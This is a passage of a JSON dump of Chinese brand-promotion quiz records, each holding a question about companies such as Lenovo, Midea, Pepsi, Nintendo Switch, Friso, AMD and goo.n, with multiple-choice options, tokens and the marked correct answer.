04:42:49","status":"1"},{"questionId":"4901451201","questionIndex":"4","questionStem":"联想成立于那年?","options":"[{\"optionId\":\"L80Sx0BWjjwcIogANPCQ2bRJxBHcVJNOLH9y\",\"optionDesc\":\"1984年\"},{\"optionId\":\"L80Sx0BWjjwcIogANPCQ25MKyxCbxZ7N2-AC\",\"optionDesc\":\"1995年\"},{\"optionId\":\"L80Sx0BWjjwcIogANPCQ2lbBtjs5FLIcY0Bk\",\"optionDesc\":\"2000年\"}]","questionToken":"L80Sx0BWjjwcIohXJ7iLjJtesi-ZCb179kBhPfwfNidYeyc8_tLqlZtq2ZIn4GWh1UzFQrhOAplizZjytBzw0Zq34YvqUg","correct":"{\"optionId\":\"L80Sx0BWjjwcIogANPCQ2bRJxBHcVJNOLH9y\",\"optionDesc\":\"1984年\"}","create_time":"27/1/2021 04:37:25","update_time":"27/1/2021 04:37:25","status":"1"},{"questionId":"4901451202","questionIndex":"2","questionStem":"联想游戏本系列叫什么名字?","options":"[{\"optionId\":\"L80Sx0BWjjwcIYgANPCQ2kUctgBBKnAB04jH\",\"optionDesc\":\"联想小新\"},{\"optionId\":\"L80Sx0BWjjwcIYgANPCQ270qKM5jgzTbbfjk\",\"optionDesc\":\"联想YOGA\"},{\"optionId\":\"L80Sx0BWjjwcIYgANPCQ2TRXqvrUFJezmrlZ\",\"optionDesc\":\"联想拯救者\"}]","questionToken":"L80Sx0BWjjwcIYhRJ7iLjDSvbYWpE4hMAg6vz3AE3UguYaeGGifoHsr6AZyAT5gQgBEveGx_oLHDKb6TPWdZQ1YTHJ8XKA","correct":"{\"optionId\":\"L80Sx0BWjjwcIYgANPCQ2TRXqvrUFJezmrlZ\",\"optionDesc\":\"联想拯救者\"}","create_time":"27/1/2021 04:48:09","update_time":"27/1/2021 04:48:09","status":"1"},{"questionId":"4901451203","questionIndex":"3","questionStem":"ThinkPad小红点起源于哪年?","options":"[{\"optionId\":\"L80Sx0BWjjwcIIgANPCQ2j_I0Bm6yUbBCyRapA\",\"optionDesc\":\"1921\"},{\"optionId\":\"L80Sx0BWjjwcIIgANPCQ2RNOXRf-hWjR_UyL0w\",\"optionDesc\":\"1992\"},{\"optionId\":\"L80Sx0BWjjwcIIgANPCQ22iAwAT0-ny7NgHs2A\",\"optionDesc\":\"2077\"}]","questionToken":"L80Sx0BWjjwcIIhQJ7iLjPFhMwRTo_hULi0hgxf5Lg60LaJql4dgSb4BDEE_8Q915UjguTu6Xd-p64hFW7vECtmsOJcEzQ","correct":"{\"optionId\":\"L80Sx0BWjjwcIIgANPCQ2RNOXRf-hWjR_UyL0w\",\"optionDesc\":\"1992\"}","create_time":"27/1/2021 04:47:39","update_time":"27/1/2021 04:47:39","status":"1"},{"questionId":"4901451204","questionIndex":"5","questionStem":"最早ThinkPad黑色外观设计灵感来源?","options":"[{\"optionId\":\"L80Sx0BWjjwcJ4gANPCQ25FnXWhUVztSipQ\",\"optionDesc\":\"盲盒\"},{\"optionId\":\"L80Sx0BWjjwcJ4gANPCQ2fEwqSBX0bqodRY\",\"optionDesc\":\"松花堂便当盒\"},{\"optionId\":\"L80Sx0BWjjwcJ4gANPCQ2p1nlnn_--yYrJ4\",\"optionDesc\":\"铅笔盒\"}]","questionToken":"L80Sx0BWjjwcJ4hWJ7iLi04QDZrptR1gBg2JpxX53U87XA0zxG4iYEBKj-HsMJfeWXj7xUr9g_zcqq6R4_XNADw-Ou56WA","correct":"{\"optionId\":\"L80Sx0BWjjwcJ4gANPCQ2fEwqSBX0bqodRY\",\"optionDesc\":\"松花堂便当盒\"}","create_time":"27/1/2021 04:36:50","update_time":"27/1/2021 04:36:50","status":"1"},{"questionId":"4901451205","questionIndex":"3","questionStem":"ThinkPad经典颜色是什么?","options":"[{\"optionId\":\"L80Sx0BWjjwcJogANPCQ2f5SF06-L7WBTCjr_w\",\"optionDesc\":\"黑色\"},{\"optionId\":\"L80Sx0BWjjwcJogANPCQ2nSPigZ05SK1SxZFbw\",\"optionDesc\":\"白色\"},{\"optionId\":\"L80Sx0BWjjwcJogANPCQ29SUApU8szTRGszm_Q\",\"optionDesc\":\"红色\"}]","questionToken":"L80Sx0BWjjwcJohQJ7iLjGSIY0AjkAwOtQlKtgmmLqinC4R4gY0PIwySUx_DYcje1V-CbroLSrfMVBN4GC-VmpSiD-APmw","correct":"{\"optionId\":\"L80Sx0BWjjwcJogANPCQ2f5SF06-L7WBTCjr_w\",\"optionDesc\":\"黑色\"}","create_time":"27/1/2021 04:37:46","update_time":"27/1/2021 04:37:46","status":"1"},{"questionId":"4901451530","questionIndex":"1","questionStem":"美的集团成立于哪一年?","options":"[{\"optionId\":\"L80Sx0BWjju0bG1qbq4y5mDwbvYyoU3YR6YD\",\"optionDesc\":\"1976年\"},{\"optionId\":\"L80Sx0BWjju0bG1qbq4y5zPXyvAeDoEzE-0Z\",\"optionDesc\":\"1986年\"},{\"optionId\":\"L80Sx0BWjju0bG1qbq4y5IG8ucBspjlapSpa\",\"optionDesc\":\"1968年\"}]","questionToken":"L80Sx0BWjju0bG04feYpsZ-ddHWN3r2Zb8SYKR7zWJcArFBWy-1zTQDjK2zc2P_IcgRbWKgcel3wWzKImVVNE4p4S5dXQw","correct":"{\"optionId\":\"L80Sx0BWjju0bG1qbq4y5IG8ucBspjlapSpa\",\"optionDesc\":\"1968年\"}","create_time":"27/1/2021 04:42:09","update_time":"27/1/2021 04:42:09","status":"1"},{"questionId":"4901451532","questionIndex":"1","questionStem":"美的集团的创始人是?","options":"[{\"optionId\":\"L80Sx0BWjju0bm1qbq4y5ObFi23AKduh0J4\",\"optionDesc\":\"何享健\"},{\"optionId\":\"L80Sx0BWjju0bm1qbq4y5iI3IEo-ZMkirCE\",\"optionDesc\":\"何剑锋\"},{\"optionId\":\"L80Sx0BWjju0bm1qbq4y5-OI5wreSSBsrTI\",\"optionDesc\":\"方洪波\"}]","questionToken":"L80Sx0BWjju0bm04feYpsYo24Hqc_ufE1i7w9Koq36-JJe5ug3JvIyORkykp43alhlW_6-XMnFMJ3PL6z11eGRLuzJX4zQ","correct":"{\"optionId\":\"L80Sx0BWjju0bm1qbq4y5ObFi23AKduh0J4\",\"optionDesc\":\"何享健\"}","create_time":"27/1/2021 04:50:15","update_time":"27/1/2021 04:50:15","status":"1"},{"questionId":"4901451533","questionIndex":"1","questionStem":"美的集团总部坐落于?","options":"[{\"optionId\":\"L80Sx0BWjju0b21qbq4y5rXSk4eR-wQwL2w\",\"optionDesc\":\"芜湖\"},{\"optionId\":\"L80Sx0BWjju0b21qbq4y5FNoeV3Jhmha0wI\",\"optionDesc\":\"顺德\"},{\"optionId\":\"L80Sx0BWjju0b21qbq4y56-dmJu8Za3-Pa8\",\"optionDesc\":\"广州\"}]","questionToken":"L80Sx0BWjju0b204feYpttaf_VkbOEpGWo9G3ZT7VTVKITA5x9f9PST03lCIc-kNQNRI8gsnSKA4-icQTQDjjYgtXcgfjw","correct":"{\"optionId\":\"L80Sx0BWjju0b21qbq4y5FNoeV3Jhmha0wI\",\"optionDesc\":\"顺德\"}","create_time":"27/1/2021 04:48:50","update_time":"27/1/2021 04:48:50","status":"1"},{"questionId":"4901451648","questionIndex":"5","questionStem":"以下哪个不是美的空调专利技术?","options":"[{\"optionId\":\"L80Sx0BWjjhu6ua0LjHQ57OnR_EaDddMMt4H\",\"optionDesc\":\"自清洁专利\"},{\"optionId\":\"L80Sx0BWjjhu6ua0LjHQ5DKHVqblOqy9h39W\",\"optionDesc\":\"高频速冷热专利\"},{\"optionId\":\"L80Sx0BWjjhu6ua0LjHQ5ed_Gzv_bzycUEmG\",\"optionDesc\":\"无风感专利\"}]","questionToken":"L80Sx0BWjjhu6ubiPXnLsusgoryn-NulOAHrKE3xDFnvwUU6h5mDiKN7n27JQ0FAd6D19jXyqrKjkXGLrwFJtXijmJ0ExA","correct":"{\"optionId\":\"L80Sx0BWjjhu6ua0LjHQ57OnR_EaDddMMt4H\",\"optionDesc\":\"自清洁专利\"}","create_time":"27/1/2021 04:49:04","update_time":"27/1/2021 04:49:04","status":"1"},{"questionId":"4901451662","questionIndex":"5","questionStem":"以下哪个品牌不属于美的集团?","options":"[{\"optionId\":\"L80Sx0BWjjhs4Oa0LjHQ5HtocuSLrQI_QP1gMw\",\"optionDesc\":\"小天鹅\"},{\"optionId\":\"L80Sx0BWjjhs4Oa0LjHQ5yQH9MJPTdcM-ZhQTQ\",\"optionDesc\":\"美菱\"},{\"optionId\":\"L80Sx0BWjjhs4Oa0LjHQ5UVeg26JrsW7Rvox7w\",\"optionDesc\":\"威灵控股\"}]","questionToken":"L80Sx0BWjjhs4ObiPXnLssSZJ0bmAuL-7PUpeYwAZRnTGXADIJIHgY3PPUOpHX6K3hFcBPpwOGtHXjoJJVRta4k9Fhc7nw","correct":"{\"optionId\":\"L80Sx0BWjjhs4Oa0LjHQ5yQH9MJPTdcM-ZhQTQ\",\"optionDesc\":\"美菱\"}","create_time":"27/1/2021 04:47:40","update_time":"27/1/2021 04:47:40","status":"1"},{"questionId":"4901451663","questionIndex":"2","questionStem":"百事可乐是诞生于哪个国家的品牌?","options":"[{\"optionId\":\"L80Sx0BWjjhs4ea0LjHQ53Elk1jwUv6yVEw\",\"optionDesc\":\"美国\"},{\"optionId\":\"L80Sx0BWjjhs4ea0LjHQ5HzPd5v7fc0mI5k\",\"optionDesc\":\"中国\"},{\"optionId\":\"L80Sx0BWjjhs4ea0LjHQ5TymxpWl6cIgSGE\",\"optionDesc\":\"英国\"}]","questionToken":"L80Sx0BWjjhs4eblPXnLtasfTvhE3qry3YLDjTWH07Q0ABEj20-5DXjaFH7OuArQXNh4xuqj6a5JsewvzK-5SsLjgMyYtQ","correct":"{\"optionId\":\"L80Sx0BWjjhs4ea0LjHQ53Elk1jwUv6yVEw\",\"optionDesc\":\"美国\"}","create_time":"27/1/2021 04:44:12","update_time":"27/1/2021 04:44:12","status":"1"},{"questionId":"4901451666","questionIndex":"2","questionStem":"以下哪个属于百事可乐旗下品牌?","options":"[{\"optionId\":\"L80Sx0BWjjhs5Oa0LjHQ5BKLuHHRXNxItNE\",\"optionDesc\":\"芬达\"},{\"optionId\":\"L80Sx0BWjjhs5Oa0LjHQ59Ita8_VtTBYt-s\",\"optionDesc\":\"美年达\"},{\"optionId\":\"L80Sx0BWjjhs5Oa0LjHQ5YTxcbVtXp5j1dM\",\"optionDesc\":\"雪碧\"}]","questionToken":"L80Sx0BWjjhs5OblPXnLsqq3oxbS2fnQ_nV1iAwkNkwA2bRVZIScCATVtNy707KE6WhUTTQOX7etT2yDkM7ObTEIFK0R2A","correct":"{\"optionId\":\"L80Sx0BWjjhs5Oa0LjHQ59Ita8_VtTBYt-s\",\"optionDesc\":\"美年达\"}","create_time":"27/1/2021 04:42:48","update_time":"27/1/2021 04:42:48","status":"1"},{"questionId":"4901451667","questionIndex":"4","questionStem":"百事可乐的品牌主色调是?","options":"[{\"optionId\":\"L80Sx0BWjjhs5ea0LjHQ5y4CEW_gE5bOq5bt\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"L80Sx0BWjjhs5ea0LjHQ5GBAKT_yMxFT5niP\",\"optionDesc\":\"红色\"},{\"optionId\":\"L80Sx0BWjjhs5ea0LjHQ5Yhce0FoVdNuNhiv\",\"optionDesc\":\"绿色\"}]","questionToken":"L80Sx0BWjjhs5ebjPXnLsoaty7jgy_YBU3V_YvpxyHR_1uzIsOtgoNPbIN6yqjWyTn3XV02BLe6F4nqvNvb_Ru5nLI6Etw","correct":"{\"optionId\":\"L80Sx0BWjjhs5ea0LjHQ5y4CEW_gE5bOq5bt\",\"optionDesc\":\"蓝色\"}","create_time":"27/1/2021 04:39:22","update_time":"27/1/2021 04:39:22","status":"1"},{"questionId":"4901451668","questionIndex":"4","questionStem":"下列哪个是百事可乐无糖独有的口味?","options":"[{\"optionId\":\"L80Sx0BWjjhs6ua0LjHQ57C6qd79vTjMqRbb\",\"optionDesc\":\"树莓味\"},{\"optionId\":\"L80Sx0BWjjhs6ua0LjHQ5IS9PT-1hh_wZZ2A\",\"optionDesc\":\"咖啡味\"},{\"optionId\":\"L80Sx0BWjjhs6ua0LjHQ5UpTcq23UmAwsFph\",\"optionDesc\":\"生姜味\"}]","questionToken":"L80Sx0BWjjhs6ubjPXnLtQy4Uc59ZISrbQL7LV6N7kxir6MLIz5TrdAmMYqR6ZH_fohm-kJo1JR4srzXbHocvFEs0g0qiw","correct":"{\"optionId\":\"L80Sx0BWjjhs6ua0LjHQ57C6qd79vTjMqRbb\",\"optionDesc\":\"树莓味\"}","create_time":"27/1/2021 04:37:24","update_time":"27/1/2021 04:37:24","status":"1"},{"questionId":"4901451684","questionIndex":"5","questionStem":"佳得乐是什么类型的饮料?","options":"[{\"optionId\":\"L80Sx0BWjjhi5ua0LjHQ5AKFTH5fa0TsWfHW\",\"optionDesc\":\"功能饮料\"},{\"optionId\":\"L80Sx0BWjjhi5ua0LjHQ5WYqrlojpCPKXdu2\",\"optionDesc\":\"果味饮料\"},{\"optionId\":\"L80Sx0BWjjhi5ua0LjHQ5-egN_MgN0Tap5dE\",\"optionDesc\":\"运动饮料\"}]","questionToken":"L80Sx0BWjjhi5ubiPXnLtVURI5rUBEm9QNkkvykD_gSfiXcqP6mTZQjriOOCBjCir0xCmUcD-ZPbiRWnUaT-NOkLniAaqw","correct":"{\"optionId\":\"L80Sx0BWjjhi5ua0LjHQ5-egN_MgN0Tap5dE\",\"optionDesc\":\"运动饮料\"}","create_time":"27/1/2021 04:36:08","update_time":"27/1/2021 04:36:08","status":"1"},{"questionId":"4901451705","questionIndex":"4","questionStem":"国行NS是哪一年正式登陆京东平台的?","options":"[{\"optionId\":\"L80Sx0BWjjlx3SnwQkmfcOVNJF7o-UgxgvA\",\"optionDesc\":\"2021年\"},{\"optionId\":\"L80Sx0BWjjlx3SnwQkmfce0Kr78wwN1AkHE\",\"optionDesc\":\"2020年\"},{\"optionId\":\"L80Sx0BWjjlx3SnwQkmfcjsnRCnJzkKrGKM\",\"optionDesc\":\"2019年\"}]","questionToken":"L80Sx0BWjjlx3SmnUQGEJxm-4XGguy0bhNhIPV58HeHeQxaDIlbz2xEGW_BPDEeqkqLlz7vDe5MHr2VfouY2HFYbmQhq7Q","correct":"{\"optionId\":\"L80Sx0BWjjlx3SnwQkmfcjsnRCnJzkKrGKM\",\"optionDesc\":\"2019年\"}","create_time":"27/1/2021 04:51:20","update_time":"27/1/2021 04:51:20","status":"1"},{"questionId":"4901451706","questionIndex":"4","questionStem":"以下哪个商品属于国行Nintendo Switch?","options":"[{\"optionId\":\"L80Sx0BWjjlx3inwQkmfcKxX2PuuZoQUvqTc9Q\",\"optionDesc\":\"PS4 Slim\"},{\"optionId\":\"L80Sx0BWjjlx3inwQkmfctpN39VUUcjkCeyiSA\",\"optionDesc\":\"Pro手柄\"},{\"optionId\":\"L80Sx0BWjjlx3inwQkmfccguuCs3m6T1ZJjZBQ\",\"optionDesc\":\"Xbox 天蝎座\"}]","questionToken":"L80Sx0BWjjlx3imnUQGEJ9eiadJRzUrNziwnu7FTkmpd6byCro5ZCWVzQ7VCEvWN_oOALGXVlD_F423fXWezJO_c7lQWlQ","correct":"{\"optionId\":\"L80Sx0BWjjlx3inwQkmfctpN39VUUcjkCeyiSA\",\"optionDesc\":\"Pro手柄\"}","create_time":"27/1/2021 04:44:40","update_time":"27/1/2021 04:44:40","status":"1"},{"questionId":"4901451736","questionIndex":"4","questionStem":"国行Nintendo Switch的主机标志配色为?","options":"[{\"optionId\":\"L80Sx0BWjjly3inwQkmfcCJAcSpqJYI9M-GsEw\",\"optionDesc\":\"蓝黄手柄+主机\"},{\"optionId\":\"L80Sx0BWjjly3inwQkmfcYODnEkn97beCoHksA\",\"optionDesc\":\"灰色手柄+主机\"},{\"optionId\":\"L80Sx0BWjjly3inwQkmfcnQSD0C8n3eWliwLWg\",\"optionDesc\":\"红蓝手柄+主机\"}]","questionToken":"L80Sx0BWjjly3imnUQGEIM4SMQQQeHcqQtGYfS1TBOxm3fy4bitYXTPzA_ONJuZstg8PsJayngNckWiAoXQzyazMQDqIRQ","correct":"{\"optionId\":\"L80Sx0BWjjly3inwQkmfcnQSD0C8n3eWliwLWg\",\"optionDesc\":\"红蓝手柄+主机\"}","create_time":"27/1/2021 04:34:26","update_time":"27/1/2021 04:34:26","status":"1"},{"questionId":"4901451737","questionIndex":"3","questionStem":"以下哪个不属于国行Nintendo Switch业务?","options":"[{\"optionId\":\"L80Sx0BWjjly3ynwQkmfcHOrk9-ZCQfZGVsb\",\"optionDesc\":\"游戏主机\"},{\"optionId\":\"L80Sx0BWjjly3ynwQkmfcj2ZGI8jdUZo-CAY\",\"optionDesc\":\"鼠标键盘\"},{\"optionId\":\"L80Sx0BWjjly3ynwQkmfcTMrp1aZpWMS7ElV\",\"optionDesc\":\"游戏周边\"}]","questionToken":"L80Sx0BWjjly3ymgUQGEJ5qe1RbHKIL6UPAMCwmeZLe0Ix4drhc-Z5F4jMlaMFxL4Hqm-fTZRWMI_Fv17YixpejofcZFoQ","correct":"{\"optionId\":\"L80Sx0BWjjly3ynwQkmfcj2ZGI8jdUZo-CAY\",\"optionDesc\":\"鼠标键盘\"}","create_time":"27/1/2021 04:48:29","update_time":"27/1/2021 04:48:29","status":"1"},{"questionId":"4901451738","questionIndex":"2","questionStem":"以下哪个国行Nintendo Switch配件最受欢迎","options":"[{\"optionId\":\"L80Sx0BWjjly0CnwQkmfcUPC803Cd1sKA10gEg\",\"optionDesc\":\"Joy-Con腕带\"},{\"optionId\":\"L80Sx0BWjjly0CnwQkmfciaOfORkcZrk51R61A\",\"optionDesc\":\"Pro手柄\"},{\"optionId\":\"L80Sx0BWjjly0CnwQkmfcJ53zjD84nPRHlIuOg\",\"optionDesc\":\"Joy-Con充电握把\"}]","questionToken":"L80Sx0BWjjly0CmhUQGEIHTY9PVIBGuSXUTz4l3z7UsZCHHAOCD0v2sYKJuxxvl2elA8b7ICoqIzOKaxQrmfBahdioRxgA","correct":"{\"optionId\":\"L80Sx0BWjjly0CnwQkmfciaOfORkcZrk51R61A\",\"optionDesc\":\"Pro手柄\"}","create_time":"27/1/2021 04:33:18","update_time":"27/1/2021 04:33:18","status":"1"},{"questionId":"4901451742","questionIndex":"2","questionStem":"美素佳儿奶源地是哪里?","options":"[{\"optionId\":\"L80Sx0BWjjl12inwQkmfcpZBuKK_Ma1ZLZB4\",\"optionDesc\":\"荷兰\"},{\"optionId\":\"L80Sx0BWjjl12inwQkmfcX03EHK17JNhNb8H\",\"optionDesc\":\"中国\"},{\"optionId\":\"L80Sx0BWjjl12inwQkmfcF9FLySJMyt_zPZd\",\"optionDesc\":\"美国\"}]","questionToken":"L80Sx0BWjjl12imhUQGEJ-tYbWGz9z2yWXw3jMxmnbpz4C3NaDqLSvE1ZZJqoPmrRO5oZg9OJqoReXOta3Igi0-FXuCQ3Q","correct":"{\"optionId\":\"L80Sx0BWjjl12inwQkmfcpZBuKK_Ma1ZLZB4\",\"optionDesc\":\"荷兰\"}","create_time":"27/1/2021 04:41:32","update_time":"27/1/2021 04:41:32","status":"1"},{"questionId":"4901451745","questionIndex":"3","questionStem":"皇家1-3段奶粉每100g含多少毫克的乳铁蛋白","options":"[{\"optionId\":\"L80Sx0BWjjl13SnwQkmfcW2iB_2mqwVF01qC\",\"optionDesc\":\"50\"},{\"optionId\":\"L80Sx0BWjjl13SnwQkmfcoQDIn-YEqgvDYMq\",\"optionDesc\":\"450\"},{\"optionId\":\"L80Sx0BWjjl13SnwQkmfcFqbv3QWXhkZsjK3\",\"optionDesc\":\"150\"}]","questionToken":"L80Sx0BWjjl13SmgUQGEJy8VbKl4Y8g2a-c1D2WcwlkqIF1SVjmj2OxOM4-cHVyIiXxt_ed3rlTNujVE4AVIgYEw1DeT4g","correct":"{\"optionId\":\"L80Sx0BWjjl13SnwQkmfcoQDIn-YEqgvDYMq\",\"optionDesc\":\"450\"}","create_time":"27/1/2021 04:39:22","update_time":"27/1/2021 04:39:22","status":"1"},{"questionId":"4901451746","questionIndex":"1","questionStem":"1-3岁的幼儿适合喝几段奶粉?","options":"[{\"optionId\":\"L80Sx0BWjjl13inwQkmfcG2HAhxLFU1WEA49\",\"optionDesc\":\"4段\"},{\"optionId\":\"L80Sx0BWjjl13inwQkmfcqVnuBCQ5lqeqUz8\",\"optionDesc\":\"3段\"},{\"optionId\":\"L80Sx0BWjjl13inwQkmfcbvFRUA5IUGYHuo2\",\"optionDesc\":\"2段\"}]","questionToken":"L80Sx0BWjjl13imiUQGEJyVnNYDNA0ifNAKj_VPwaEdCzuvxMxln3rKP_QAd3OSNaq3p2RQvefctez0WmfwqGtzLw92nmw","correct":"{\"optionId\":\"L80Sx0BWjjl13inwQkmfcqVnuBCQ5lqeqUz8\",\"optionDesc\":\"3段\"}","create_time":"27/1/2021 04:49:09","update_time":"27/1/2021 04:49:09","status":"1"},{"questionId":"4901451747","questionIndex":"1","questionStem":"皇家美素佳儿1-3段奶粉特点是?","options":"[{\"optionId\":\"L80Sx0BWjjl13ynwQkmfcUsKHMXPDJ2FZwI\",\"optionDesc\":\"20倍乳铁蛋白\"},{\"optionId\":\"L80Sx0BWjjl13ynwQkmfcrIpcSC1fLC1v-Y\",\"optionDesc\":\"30倍乳铁蛋白\"},{\"optionId\":\"L80Sx0BWjjl13ynwQkmfcOBd1Aj_GNBMuRk\",\"optionDesc\":\"50倍乳铁蛋白\"}]","questionToken":"L80Sx0BWjjl13ymiUQGEJ1hXmJdaXILgffhBqHcTTCj-RU14p8lHW-RaDKEyAUt9VzCuVdjy1-KBBYIh-YZ-LwdWNlOM8Q","correct":"{\"optionId\":\"L80Sx0BWjjl13ynwQkmfcrIpcSC1fLC1v-Y\",\"optionDesc\":\"30倍乳铁蛋白\"}","create_time":"27/1/2021 04:49:43","update_time":"27/1/2021 04:49:43","status":"1"},{"questionId":"4901451748","questionIndex":"1","questionStem":"美素佳儿一共有几款消消乐礼盒?","options":"[{\"optionId\":\"L80Sx0BWjjl10CnwQkmfcRAqCS0dGnRWkpPjlw\",\"optionDesc\":\"4款\"},{\"optionId\":\"L80Sx0BWjjl10CnwQkmfchxzMl2nxt4U4y71uQ\",\"optionDesc\":\"5款\"},{\"optionId\":\"L80Sx0BWjjl10CnwQkmfcPtuYgtf56pyuL_hjQ\",\"optionDesc\":\"6款\"}]","questionToken":"L80Sx0BWjjl10CmiUQGEJ0JlWAsS87OfZUhzz1-ZYOSVaramm93HAOXkCk8481xoKFty37PDDbSWba7rAJftWI4sbSMcyA","correct":"{\"optionId\":\"L80Sx0BWjjl10CnwQkmfchxzMl2nxt4U4y71uQ\",\"optionDesc\":\"5款\"}","create_time":"27/1/2021 04:37:46","update_time":"27/1/2021 04:37:46","status":"1"},{"questionId":"4901451749","questionIndex":"5","questionStem":"AMD是哪一年在硅谷创立的?","options":"[{\"optionId\":\"L80Sx0BWjjl10SnwQkmfcCP7cXHPiPAHvE0\",\"optionDesc\":\"1989\"},{\"optionId\":\"L80Sx0BWjjl10SnwQkmfcW8XqXkkwzT6OFA\",\"optionDesc\":\"1979\"},{\"optionId\":\"L80Sx0BWjjl10SnwQkmfcg0MzWe0Zz84-S4\",\"optionDesc\":\"1969\\t\\t\"}]","questionToken":"L80Sx0BWjjl10SmmUQGEJ3nrzlHi5nisx7QAYEm8qcd2FIxViIoXjGZpkRtOXBkK4gsataSbHmdmahEjZUO10_Kw7ZPHpg","correct":"{\"optionId\":\"L80Sx0BWjjl10SnwQkmfcg0MzWe0Zz84-S4\",\"optionDesc\":\"1969\\t\\t\"}","create_time":"27/1/2021 04:50:16","update_time":"27/1/2021 04:50:16","status":"1"},{"questionId":"4901451750","questionIndex":"5","questionStem":"AMD的总裁兼首席执行官是谁?","options":"[{\"optionId\":\"L80Sx0BWjjl02CnwQkmfcDhaK84MHMb3fP3a\",\"optionDesc\":\"岳琪\"},{\"optionId\":\"L80Sx0BWjjl02CnwQkmfcV2ECQkLVGGmhbVs\",\"optionDesc\":\"乔伯斯\"},{\"optionId\":\"L80Sx0BWjjl02CnwQkmfcqjBmAvXJAHQOwx9\",\"optionDesc\":\"苏姿丰\"}]","questionToken":"L80Sx0BWjjl02CmmUQGEJ_j1-nHo2kAPTIXcI95P7mCgy093es-6J-zJ2UIMdZ4BRdCZODfyEe6Cqv_RSYmlukK1vlqpHw","correct":"{\"optionId\":\"L80Sx0BWjjl02CnwQkmfcqjBmAvXJAHQOwx9\",\"optionDesc\":\"苏姿丰\"}","create_time":"27/1/2021 04:42:10","update_time":"27/1/2021 04:42:10","status":"1"},{"questionId":"4901451751","questionIndex":"4","questionStem":"AMD中国区总部在那个城市?","options":"[{\"optionId\":\"L80Sx0BWjjl02SnwQkmfcsbb0MFEFyeZFQQA\",\"optionDesc\":\"北京\"},{\"optionId\":\"L80Sx0BWjjl02SnwQkmfcdrYQiQEbdFZZcCM\",\"optionDesc\":\"成都\"},{\"optionId\":\"L80Sx0BWjjl02SnwQkmfcFV7KXumnFdgVGnh\",\"optionDesc\":\"深圳\"}]","questionToken":"L80Sx0BWjjl02SmnUQGEIEo58e-S3Yb2cxYQy6j76w6Qke2M0F1_wojRKgEJyXCN3D-CuGCSbj32UzduFoyXvCb-CmhbHQ","correct":"{\"optionId\":\"L80Sx0BWjjl02SnwQkmfcsbb0MFEFyeZFQQA\",\"optionDesc\":\"北京\"}","create_time":"27/1/2021 04:49:21","update_time":"27/1/2021 04:49:21","status":"1"},{"questionId":"4901451752","questionIndex":"3","questionStem":"AMD的中文名字是什么?","options":"[{\"optionId\":\"L80Sx0BWjjl02inwQkmfcjGB2Z06_DeHjlnN\",\"optionDesc\":\"超威\"},{\"optionId\":\"L80Sx0BWjjl02inwQkmfcIsO8byVvtUxM-_9\",\"optionDesc\":\"超越\"},{\"optionId\":\"L80Sx0BWjjl02inwQkmfce_g7tXOBVDjJRXA\",\"optionDesc\":\"超能\"}]","questionToken":"L80Sx0BWjjl02imgUQGEJ7hLiRc3TSKadVkbTtmgw2nCoiPdQkopGYpeYyYCf1LqQ6sb5QhEzPBrFcM6pc8jX4duCpcv7g","correct":"{\"optionId\":\"L80Sx0BWjjl02inwQkmfcjGB2Z06_DeHjlnN\",\"optionDesc\":\"超威\"}","create_time":"27/1/2021 04:48:57","update_time":"27/1/2021 04:48:57","status":"1"},{"questionId":"4901451753","questionIndex":"2","questionStem":"AMD最新锐龙处理器采用几纳米的制程工艺?","options":"[{\"optionId\":\"L80Sx0BWjjl02ynwQkmfcCQpFZh0q3jmBFhc\",\"optionDesc\":\"14nm\"},{\"optionId\":\"L80Sx0BWjjl02ynwQkmfcmHd4QGBoqD4jX7L\",\"optionDesc\":\"7nm\"},{\"optionId\":\"L80Sx0BWjjl02ynwQkmfcZQvMvMb1cyjAWTg\",\"optionDesc\":\"12nm\"}]","questionToken":"L80Sx0BWjjl02ymhUQGEIJiDiKktYjx4812ttKOVKvVnwbauz-TH_8TUcZJpTXy1Ao9hEEe-_zglafrn6b1ChYDb9B5YCw","correct":"{\"optionId\":\"L80Sx0BWjjl02ynwQkmfcmHd4QGBoqD4jX7L\",\"optionDesc\":\"7nm\"}","create_time":"27/1/2021 04:50:25","update_time":"27/1/2021 04:50:25","status":"1"},{"questionId":"4901451754","questionIndex":"5","questionStem":"大王goo.n纸尿裤是哪个国家的品牌?","options":"[{\"optionId\":\"L80Sx0BWjjl03CnwQkmfcTYAa3mUXE8rWga0\",\"optionDesc\":\"美国\"},{\"optionId\":\"L80Sx0BWjjl03CnwQkmfcFUYuJFYVvL48U_f\",\"optionDesc\":\"中国\"},{\"optionId\":\"L80Sx0BWjjl03CnwQkmfctR1xj3vPTrueIES\",\"optionDesc\":\"日本\\t\\t\"}]","questionToken":"L80Sx0BWjjl03CmmUQGEIDlhwblQQBFz7Q8w_UTLEkgbU1R3yBEO603tJWilSigj4usa6h7x10J5qyoE1GSyjIPC7jvWnw","correct":"{\"optionId\":\"L80Sx0BWjjl03CnwQkmfctR1xj3vPTrueIES\",\"optionDesc\":\"日本\\t\\t\"}","create_time":"27/1/2021 04:32:33","update_time":"27/1/2021 04:32:33","status":"1"},{"questionId":"4901451755","questionIndex":"5","questionStem":"大王goo.n的中国工厂位于哪里?","options":"[{\"optionId\":\"L80Sx0BWjjl03SnwQkmfcdWNpR4VSLbCP6dgkQ\",\"optionDesc\":\"上海\"},{\"optionId\":\"L80Sx0BWjjl03SnwQkmfcnhVBUljsw5o2PVw_w\",\"optionDesc\":\"南通\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl03SnwQkmfcPwN2GDnJaiso6HWPg\",\"optionDesc\":\"苏州\"}]","questionToken":"L80Sx0BWjjl03SmmUQGEIDGR-02ay37Zl0u67pdHLrpV_iBoyFsP_HA523IjbzuKYEieDsqOXDFeyoX0CtEz-cHlknK94g","correct":"{\"optionId\":\"L80Sx0BWjjl03SnwQkmfcnhVBUljsw5o2PVw_w\",\"optionDesc\":\"南通\\t\\t\"}","create_time":"27/1/2021 04:39:24","update_time":"27/1/2021 